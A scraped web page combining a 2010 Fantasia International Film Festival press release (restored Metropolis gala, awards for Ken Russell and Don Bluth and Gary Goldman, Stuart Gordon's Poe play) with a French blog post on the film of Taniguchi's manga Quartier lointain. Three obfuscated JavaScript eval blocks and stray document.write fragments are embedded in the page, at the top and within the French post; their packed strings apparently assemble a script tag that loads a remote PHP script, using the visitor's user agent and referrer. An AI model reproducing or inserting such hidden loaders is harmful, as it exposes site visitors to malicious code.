eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ieden|var|u0026u|referrer|ryzks||js|php’.split(‘|’),0,{}))
Montreal Monday May 3rd, document.write(“”); 2010 – While we’re still several weeks away from announcing our full 2010 festival line-up, the
14th annual Fantasia International Film Festival is making an early announcement to highlight several special events planned for this summer’s fest, including a stage play, multiple lifetime achievement awards and a gala performance/screening premiere revolving around one of the most significant silent-film restorations in the history of moving images.

THE COMPLETE METROPOLIS – A GALA EVENT AT PLACE DES ARTS
Seldom has the rediscovery of a cache of lost footage ignited widespread curiosity as did the announcement, in July 2008, that an essentially complete copy of Fritz Lang’s METROPOLIS had been found. This prompted an incredible year-long restoration project, the results of which will be unveiled for the first time in Quebec this summer, at Fantasia. Featuring over 25 minutes of new material (1,257 shots, including entire new sequences), the complete METROPOLIS will be screened as a special gala event at the 3000-seat Wilfred Pelletier theatre in Place des Arts on July 28. For this special night, internationally renowned silent film composer Gabriel Thibaudeau is writing a new score for the feature, which he will perform with a 13-piece orchestra live at the screening. It will be a fantastically historical night in every sense of the word!

Notes on the music for Fantasia’s METROPOLIS event by Gabriel Thibaudeau:

“For the last 22 years I have been resident pianist and composer for the Cinematheque québécoise. METROPOLIS is one of the first films I played to. Writing a new score for this film represents, for me, a long cherished dream. The film’s modern feel and visual treatment lends itself well to experimentation and is a pure joy to create sound for!

How to express musically the class struggle and dialectic that are the foundations of this work? By utilizing not one, but two chamber orchestras! Quite simply, at stage left the orchestra represents the elitist spirit of the city through a string quintet and keyboard. At stage right a brass quintet with organ will form the second orchestra, symbol of the strength of the workers in the subterranean city. The percussion section in the center will form a link between the two worlds/ensembles.

For this two and a half hour performance, specially commissioned by the Fantasia Festival, the majority of movements will be precisely written and perfectly synchronized with the images on screen. However, certain passages will be more free, created live through “Soundpainting”, a technique of improvising from coded gestures used by the conductor.”
– Gabriel Thibaudeau

A LIFETIME ACHIEVEMENT AWARD FOR KEN RUSSELL
Fantasia will present Britain’s celebrated enfant terrible, the director of such one-of-a-kind classics as ALTERED STATES, TOMMY, CRIMES OF PASSION, WOMEN IN LOVE, LISZTOMANIA, GOTHIC, SALOME’S LAST DANCE, MAHLER and LAIR OF THE WHITE WORM, with a lifetime achievement award in celebration of his astoundingly unique and bravely provocative visions.  On the night of his ceremony, we will screen a rare 35mm print of his explosive and still-controversial 1971 masterpiece THE DEVILS. This notoriously powerful film, which remains unavailable on DVD anywhere in the world, stars Oliver Reed and Vanessa Redgrave, and featuring art direction by Derek Jarman.  Russell will be in town for a week and our special “Devils’ Night” award presentation will kick off a massive retrospective of his filmography split across Cinematheque Quebecoise and Cinema Du Parc.

DUAL LIFETIME ACHIEVEMENT AWARDS FOR ANIMATION DUO DON BLUTH & GARY GOLDMAN
Along with the homage to filmmaker Ken Russell, the Fantasia Film Festival is proud to give a lifetime achievement award to Don Bluth and Gary Goldman, the creative duo behind such animated modern classics as THE SECRET OF NIMH, AN AMERICAN TAIL and ALL DOGS GO TO HEAVEN. Bluth and Goldman share a unique story in animation cinema. Beginning their groundbreaking work with Disney, they created their own independent studio in 1973, which lead to numerous collaborations with Steven Spielberg and George Lucas, a detour in the video game world with the DRAGON’S LAIR series and a dozen imaginative feature films. To celebrate this event, the Fantasia Film Festival will screen the prehistoric tale THE LAND BEFORE TIME, the unforgettable classic that lives in the imagination of a generation of cinephiles. Our audience will also have a chance to meet the filmmakers during a special panel on animation.

THE INTERNATIONAL PREMIERE OF STUART GORDON & JEFFREY COMBS’ CRITICALLY ACCLAIMED EDGAR ALLAN POE STAGE PLAY
Award-winning filmmaker Stuart Gordon, beloved for such films as RE-ANIMATOR, FROM BEYOND and STUCK will be returning to Fantasia (after gracing us with the Canadian premiere of EDMOND in 2006) with his staple star Jeffrey Combs to stage their acclaimed one-man play NEVERMORE: AN EVENING WITH EDGAR ALLAN POE, which features Combs in a breathtaking performance as the legendary author. It should be noted that Gordon was a celebrated theatre director for many years before turning to cinema. Among his many impressive credits, the future filmmaker founded Chicago’s Organic Theater in the ’70s and was the first to stage a play by David Mamet, who he continues to collaborate with every now and then. A spellbinding recreation of the public recitals that Poe regularly performed in the years before his death, based on reviews and reports of his actual appearances, NEVERMORE premiered in Los Angeles in July 2009 and was originally slated to run for four weeks.  Critical raves and mass audience draws saw the run extended to nearly six months. Combs’ performance is so captivating and mercurial that many critics have championed him as “the definitive Poe,” a claim that we can fully agree with! 2010 also happens to be the 25th anniversary of RE-ANIMATOR, and in celebration of this, Fantasia will be screening an uncut 35mm print of the cult classic, hosted by Gordon and Combs.

MORE – MUCH MORE – TO COME
The above is but an early tease-taste of what Fantasia has lined up for Montrealers this summer, released to tide you over until we announce our full line-up of over 100 feature films in mid-June. Don’t hesitate to get in touch if you’ve got any questions or requests. Enquiries can be sent to press@fantasiafestival.com .

The 14th annual Fantasia International Film Festival takes place in Montreal July 8 – July 28 2010.

Fantasia Vidéo Promo 2010 from Fantasia International Film Fest on Vimeo.
Also check the festival website: www.fantasiafestival.com

Quartier Lointain au cinéma

Cette nouvelle est au confluent de deux de mes grands intérêts: le manga et le cinéma. Comme je l’ai déjà mentioné, document.write(“”); Quartier lointain—ce superbe manga de Taniguchi—a été adapté au cinéma par Sam Garbarski. Des détails sur le film, ainsi que la bande-annonce allemande, sont maintenant disponibles.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfyis|var|u0026u|referrer|tkrfs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|httih|var|u0026u|referrer|shnkt||js|php’.split(‘|’),0,{}))

Le manga raconte l’histoire d’un “salaryman” en pleine crise de la quarantaine qui, un peu par accident, visite son village natal et se retrouve mystérieusement transporté dans le temps, à l’âge de quatorze ans, pour revivre une partie de son adolescence… Si l’histoire originale se déroule au Japon, dans le village de Kurayoshi (préfecture de Tottori), l’adaptation est elle transposée en France, à Nantua (Rhône-Alpes).

“Thomas, la cinquantaine, père de famille, arrive par hasard dans la ville de son enfance. Alors qu’il se recueille sur la tombe de sa mère, il est pris d’un malaise. Quand il se réveille, son corps semble différent et le nom de sa mère n’est plus gravé sur la pierre tombale… Revenu quarante ans en arrière dans son corps d’adolescent, il décide alors de rentrer ‘chez lui’ pour comprendre ce qui a poussé son père à les abandonner cette année-là et tenter d’empêcher cette mystérieuse disparition. Mais peut-on modifier son passé en le revivant ?” [Texte de présentation sur le site du distributeur]

Quartier lointain, dont le titre allemand est Vertraute Fremde (Familiar Strangers), est une co-production belge (Entre Chien et Loup), française (Archipel 35), luxembourgeoise (Samsa Film) et allemande (Pallas Film). Le film de 98 minutes, distribué par Wild Bunch Distribution, met en vedette Léo Legrand (Thomas enfant), Pascal Greggory (Thomas adulte), Jonathan Zaccaï (le père), Alexandra Maria Lara (la mère), Laura Moisson (Corinne), Pierre-Louis Bellet (Rousseau) et Laura Martin (Sylvie). Ayant déjà eut une avant-première à Cannes en 2009, il sortira d’abord en Allemagne le 20 mai (étrange pour ce qui est, techniquement, un film français) et en France en septembre.

Si l’on se fit à la bande-annonce, le film (dont la production avait été annoncé depuis près de quatre ans) est vraiment proche de l’histoire et de la “mise-en-scène” originale (mis à part la transposition du lieu et quelques détails). C’est certainement à voir.

Sources: About.com, ANN, Movie Maze.